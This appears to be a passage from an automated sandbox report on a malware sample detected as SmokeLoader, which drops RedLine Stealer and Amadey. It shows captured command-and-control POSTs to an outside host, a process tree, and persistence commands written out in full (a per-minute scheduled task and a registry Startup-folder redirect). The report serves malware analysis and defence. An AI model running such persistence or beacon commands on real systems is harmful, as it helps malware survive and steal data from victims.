Aug 19, 2021 07:53:09.369740963 CEST	2092	IN	Data Raw: e8 24 73 00 00 83 c4 18 83 f8 01 75 01 cc 33 c0 e9 99 04 00 00 83 7d fc bc 76 60 83 7d 14 00 74 29 8b 55 18 52 8b 45 14 50 8b 4d fc 51 68 d8 d8 41 00 6a 00 6a 00 6a 00 6a 01 e8 ea 72 00 00 83 c4 20 83 f8 01 75 01 cc eb 1f 8b 45 fc 50 68 e4 d4 41 Data Ascii: $su3}v`}t)UREPMQhAjjjjr uEPhAjjjjru33}thUtZE%tM}t%MQURhAjjjjmru hAhAjjjjKruQj9`BR
Aug 19, 2021 07:53:09.369787931 CEST	2093	IN	Data Raw: ff 55 8b ec 51 83 3d ac 86 44 00 00 76 55 a1 ac 86 44 00 83 e8 01 39 05 94 86 44 00 75 36 e8 fc 06 00 00 85 c0 75 21 68 d4 d5 41 00 6a 00 68 03 05 00 00 68 70 d5 41 00 6a 02 e8 00 19 00 00 83 c4 14 83 f8 01 75 01 cc c7 05 94 86 44 00 00 00 00 00 Data Ascii: UQ=DvUD9Du6u!hAjhhpAjuDDD}ul}uOj9`BPMQBt/URh8AjjjjEmu'=4jBtDjjjMQjURj4jBu%hAh
Aug 19, 2021 07:53:09.369837999 CEST	2094	IN	Data Raw: 00 83 c4 14 83 f8 01 75 01 cc 83 7d dc 00 75 31 e8 90 13 00 00 c7 00 16 00 00 00 6a 00 68 d3 05 00 00 68 70 d5 41 00 68 84 dd 41 00 68 78 d9 41 00 e8 ff 10 00 00 83 c4 14 83 c8 ff e9 38 01 00 00 83 3d ac 86 44 00 00 76 56 8b 15 ac 86 44 00 83 ea Data Ascii: u}u1jhhpAhAhxA8=DvVD9Du6u!hAjhhpAjuDDDjnNEURu!hAjhhpAj,uM MUB%
Aug 19, 2021 07:53:09.369883060 CEST	2096	IN	Data Raw: 6a 00 6a 00 e8 72 63 00 00 83 c4 20 83 f8 01 75 01 cc eb 22 8b 4d e4 83 c1 20 51 68 10 de 41 00 6a 00 6a 00 6a 00 6a 00 e8 4e 63 00 00 83 c4 18 83 f8 01 75 01 cc c7 45 d8 00 00 00 00 83 7d d8 00 75 7a 8b 45 e4 83 78 08 00 74 3d 8b 4d e4 8b 51 0c Data Ascii: jjrc u"M QhAjjjjNcuE}uzExt=MQREHQUBPM QURhAjjjjb(u-MQRE PMQhAjjjjb uEGEjDIEMdY_^[]I
Aug 19, 2021 07:53:09.369923115 CEST	2097	IN	Data Raw: 8b 45 fc 50 8d 4d ec e8 25 d9 ff ff 8d 4d ec e8 2d da ff ff 50 8b 4d 08 51 e8 13 00 00 00 83 c4 08 8d 4d ec e8 e8 d9 ff ff 8b e5 5d c3 cc cc cc cc 8b ff 55 8b ec 6a fe 68 30 42 42 00 68 b0 79 40 00 64 a1 00 00 00 00 50 83 c4 f0 53 56 57 a1 e4 67 Data Ascii: EPM%M-PMQM]Ujh0BBhy@dPSVWgB1E3PEdEj0DEhAhAjjjj]u}tMUDEMU}(E;EMQt)EHtU
Aug 19, 2021 07:53:09.402590036 CEST	2098	IN	Data Raw: 45 cc 50 e8 8f f8 ff ff 83 c4 04 83 7d e0 00 75 17 83 7d d4 00 75 11 8b 0d 28 60 42 00 83 e1 10 74 37 83 7d d8 00 74 31 68 7c e3 41 00 68 0c d5 41 00 6a 00 6a 00 6a 00 6a 00 e8 c8 58 00 00 83 c4 18 83 f8 01 75 01 cc 6a 00 e8 68 fa ff ff 83 c4 04 Data Ascii: EP}u}u(`Bt7}t1h\|AhAjjjjXujh3]UQDEE]UD]U VWA}EEMM}tUtE@MQUREPMQA_^]

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	49719	210.207.244.101	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:10.416448116 CEST	2451	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 336 Host: atvcampingtrips.com
Aug 19, 2021 07:53:10.416486025 CEST	2452	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2c 5b 09 6b 2c 90 f4 76 0b 75 45 32 d9 b9 Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA ,[k,vuE2a9VRZV+g?(5mO;7eNb^-](Tzh#ow)rE$.P7>V<}#MmiYFY{6
Aug 19, 2021 07:53:11.617806911 CEST	2452	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:11 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	49720	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:11.716901064 CEST	2453	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 166 Host: atvcampingtrips.com
Aug 19, 2021 07:53:11.716953039 CEST	2454	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 24 43 a6 a8 Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vu$CR&CaCkS--HZ7xX?!$-y,YR{[Tvr{
Aug 19, 2021 07:53:11.881299973 CEST	2454	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:11 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.7	49721	210.207.244.101	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:12.169864893 CEST	2456	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 285 Host: atvcampingtrips.com
Aug 19, 2021 07:53:12.169928074 CEST	2456	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 3e 2c de 8d Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vu>,Jrt52~I::b:J`~<TDT.d@[l\|)C4&_g )0?Qu4PP097?S\|r'k[
Aug 19, 2021 07:53:13.355323076 CEST	2457	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:12 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.7	49722	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:13.460705042 CEST	2458	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 215 Host: atvcampingtrips.com
Aug 19, 2021 07:53:13.460805893 CEST	2458	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 74 5a a8 b8 Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vutZS[N_6[YG=T\VUG?$^@`zJLt57VC6?V&H,70c
Aug 19, 2021 07:53:13.632035971 CEST	2458	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:13 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 40 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 21 53 24 1e a4 76 5b af ad 09 aa d1 eb a4 26 91 36 9b e8 2b 4a Data Ascii: #\!S$v[&6+J

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Aug 19, 2021 07:53:54.990923882 CEST	217.107.34.191	443	192.168.2.7	49756	CN=*.ng.hiterima.ru CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US	CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Sun Aug 01 18:18:18 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021	Sat Oct 30 18:18:16 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	ce5f3254611a8c095a3d821d44539877
					CN=R3, O=Let's Encrypt, C=US	CN=ISRG Root X1, O=Internet Security Research Group, C=US	Fri Sep 04 02:00:00 CEST 2020	Mon Sep 15 18:00:00 CEST 2025
					CN=ISRG Root X1, O=Internet Security Research Group, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Jan 20 20:14:03 CET 2021	Mon Sep 30 20:14:03 CEST 2024

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: V1yj2IcuOo.exe PID: 1480 Parent PID: 5468

General

Start time:	07:52:07
Start date:	19/08/2021
Path:	C:\Users\user\Desktop\V1yj2IcuOo.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\V1yj2IcuOo.exe'
Imagebase:	0x400000
File size:	283648 bytes
MD5 hash:	417141E9D2E0FED64579E7AE12507EAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.310262930.00000000024F0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.310454214.00000000025B1000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3292 Parent PID: 1480

General

Start time:	07:52:14
Start date:	19/08/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff662bf0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cbfafth PID: 5836 Parent PID: 1104

General

Start time:	07:52:58
Start date:	19/08/2021
Path:	C:\Users\user\AppData\Roaming\cbfafth
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\cbfafth
Imagebase:	0x400000
File size:	283648 bytes
MD5 hash:	417141E9D2E0FED64579E7AE12507EAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000012.00000002.370199951.0000000002420000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000012.00000002.370470879.00000000026C1000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 33%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: 337E.exe PID: 2172 Parent PID: 3292

General

Start time:	07:53:09
Start date:	19/08/2021
Path:	C:\Users\user\AppData\Local\Temp\337E.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\337E.exe
Imagebase:	0x400000
File size:	354304 bytes
MD5 hash:	36A20734FCA63AC4F6DC2AA43C3B45CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000015.00000002.464236334.0000000004220000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000015.00000002.463803382.0000000004180000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000015.00000002.472539078.0000000005575000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000015.00000003.377131232.00000000024BA000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000015.00000002.464882923.0000000004510000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 5592 Parent PID: 2172

General

Start time:	07:53:09
Start date:	19/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: AEC9.exe PID: 5836 Parent PID: 3292

General

Start time:	07:53:41
Start date:	19/08/2021
Path:	C:\Users\user\AppData\Local\Temp\AEC9.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\AEC9.exe
Imagebase:	0xaa0000
File size:	3820472 bytes
MD5 hash:	EC10291029375563C6F4F5151700E789
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 4608 Parent PID: 5836

General

Start time:	07:53:42
Start date:	19/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: D955.exe PID: 2896 Parent PID: 3292

General

Start time:	07:53:51
Start date:	19/08/2021
Path:	C:\Users\user\AppData\Local\Temp\D955.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\D955.exe
Imagebase:	0x400000
File size:	329728 bytes
MD5 hash:	2C5C6CE3DE7579CDCA4B07A150978B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: E6D3.exe PID: 5524 Parent PID: 3292

General

Start time:	07:53:55
Start date:	19/08/2021
Path:	C:\Users\user\AppData\Local\Temp\E6D3.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\E6D3.exe
Imagebase:	0x400000
File size:	253440 bytes
MD5 hash:	D0AA9F9F1051D5EC09152411A540E392
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000021.00000002.518966654.0000000005DD5000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000021.00000002.522724822.0000000007250000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000021.00000002.517014320.0000000004B30000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000021.00000003.476719816.0000000002DCD000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000021.00000002.516647880.0000000004A30000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: hnbux.exe PID: 5232 Parent PID: 2896

General

Start time:	07:53:56
Start date:	19/08/2021
Path:	C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user~1\AppData\Local\Temp\bd1299733e\hnbux.exe'
Imagebase:	0x400000
File size:	329728 bytes
MD5 hash:	2C5C6CE3DE7579CDCA4B07A150978B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000022.00000002.515067062.000000000261E000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 2872 Parent PID: 5524

General

Start time:	07:53:56
Start date:	19/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 1384 Parent PID: 5232

General

Start time:	07:54:00
Start date:	19/08/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\
Imagebase:	0x870000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 1404 Parent PID: 1384

General

Start time:	07:54:00
Start date:	19/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: schtasks.exe PID: 2220 Parent PID: 5232

General

Start time:	07:54:00
Start date:	19/08/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN hnbux.exe /TR 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\hnbux.exe' /F
Imagebase:	0xa90000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 2836 Parent PID: 2220

General

Start time:	07:54:01
Start date:	19/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: reg.exe PID: 3440 Parent PID: 1384

General

Start time:	07:54:01
Start date:	19/08/2021
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\
Imagebase:	0x2b0000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: hnbux.exe PID: 2160 Parent PID: 1104

General

Start time:	07:54:04
Start date:	19/08/2021
Path:	C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\bd1299733e\hnbux.exe
Imagebase:	0x400000
File size:	329728 bytes
MD5 hash:	2C5C6CE3DE7579CDCA4B07A150978B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: V1yj2IcuOo.exe PID: 1480 Parent PID: 5468 V1yj2IcuOo.exeCOMMON

Executed Functions

Function 0041AF20, Relevance: 37.1, APIs: 3, Strings: 18, Instructions: 324librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00423DA0), ref: 0041AF58
GetProcAddress.KERNEL32(0239C368,00437A48), ref: 0041B90B
VirtualProtect.KERNELBASE(023944B0,0239C36C,00000040,?), ref: 0041B92F

Strings

=Mbt, xrefs: 0041B841
8j/, xrefs: 0041AFA3
T^Yu, xrefs: 0041B237
%&C, xrefs: 0041B347
25r3, xrefs: 0041B465
QB4, xrefs: 0041AFDF
-tIO, xrefs: 0041B5CF
U!8, xrefs: 0041AFD5
snkr, xrefs: 0041B7ED
M{h, xrefs: 0041B36F
G6~0, xrefs: 0041B186
L|j, xrefs: 0041B77E
Yh, xrefs: 0041B025
QGk , xrefs: 0041B46F
]k;z, xrefs: 0041B560
v;M, xrefs: 0041B731
@, xrefs: 0041B878
2h, xrefs: 0041B68B

Memory Dump Source

Source File: 00000000.00000002.309575807.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

